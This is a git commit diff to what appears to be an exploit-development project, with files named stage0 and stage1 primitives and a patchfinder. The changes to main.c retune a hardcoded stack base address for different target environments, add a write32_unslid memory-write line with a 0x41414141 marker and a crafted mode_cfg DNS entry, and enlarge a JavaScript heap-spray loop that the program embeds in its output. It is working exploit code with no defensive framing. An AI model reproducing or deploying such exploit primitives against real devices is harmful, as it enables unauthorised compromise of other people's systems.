From 3dea872119219789ff85daef37f059eefc709871 Mon Sep 17 00:00:00 2001 From: spv420 Date: Sat, 23 Apr 2022 16:23:39 -0400 Subject: shitdick --- src/common.h | 0 src/ip_tools.c | 0 src/ip_tools.h | 0 src/main.c | 11 +++++++---- src/patchfinder.h | 0 src/stage0_primitives.c | 0 src/stage0_primitives.h | 0 src/stage1_primitives.c | 0 src/stage1_primitives.h | 0 9 files changed, 7 insertions(+), 4 deletions(-) mode change 100755 => 100644 src/common.h mode change 100755 => 100644 src/ip_tools.c mode change 100755 => 100644 src/ip_tools.h mode change 100755 => 100644 src/patchfinder.h mode change 100755 => 100644 src/stage0_primitives.c mode change 100755 => 100644 src/stage0_primitives.h mode change 100755 => 100644 src/stage1_primitives.c mode change 100755 => 100644 src/stage1_primitives.h (limited to 'src') diff --git a/src/common.h b/src/common.h old mode 100755 new mode 100644 diff --git a/src/ip_tools.c b/src/ip_tools.c old mode 100755 new mode 100644 diff --git a/src/ip_tools.h b/src/ip_tools.h old mode 100755 new mode 100644 diff --git a/src/main.c b/src/main.c index 124affa..3c8d513 100644 --- a/src/main.c +++ b/src/main.c @@ -202,11 +202,11 @@ int main(int argc, fprintf(fp, "# - with love from spv <3\n"); fprintf(fp, "\n"); -// uint32_t stack_base = 0x1c7738; // my shell setup + uint32_t stack_base = 0x1c7738; // my shell setup // uint32_t stack_base = 0x1c7c88; // my 4s shell setup // uint32_t stack_base = 0x1c2e48; // my lldb // uint32_t stack_base = 0x1c7d68; // btserver env - uint32_t stack_base = 0x1c7dd8; // wifiFirmwareLoader env +// uint32_t stack_base = 0x1c7dd8; // wifiFirmwareLoader env uint32_t magic_trigger_addr = 0xb6074; uint32_t mov_r0_0_bx_lr = 0x8d3e | 1; @@ -286,6 +286,9 @@ int main(int argc, 0x42424242)); #endif + fprintf(fp, "%s\n", write32_unslid(stack_base - 0x948, 0x41414141)); + fprintf(fp, "mode_cfg{dns41.1.1.1;}"); + #if 0 // fprintf(fp, // "%s\n", @@ -334,7 +337,7 @@ int main(int argc, "var parent = new Uint8Array(0x100);" "var child = new Uint8Array(0x100);" " var fuck = new Array();" - " for (var i = 0; i < 0x10000; i++) {" + " for (var i = 0; i < 0x200000; i++) {" " fuck[i] = i;" " }" " delete fuck;" @@ -343,7 +346,7 @@ int main(int argc, strlen("var parent = new Uint8Array(0x100);" "var child = new Uint8Array(0x100);" " var fuck = new Array();" - " for (var i = 0; i < 0x10000; i++) {" + " for (var i = 0; i < 0x200000; i++) {" " fuck[i] = i;" " }" " delete fuck;" diff --git a/src/patchfinder.h b/src/patchfinder.h old mode 100755 new mode 100644 diff --git a/src/stage0_primitives.c b/src/stage0_primitives.c old mode 100755 new mode 100644 diff --git a/src/stage0_primitives.h b/src/stage0_primitives.h old mode 100755 new mode 100644 diff --git a/src/stage1_primitives.c b/src/stage1_primitives.c old mode 100755 new mode 100644 diff --git a/src/stage1_primitives.h b/src/stage1_primitives.h old mode 100755 new mode 100644 -- cgit v1.2.3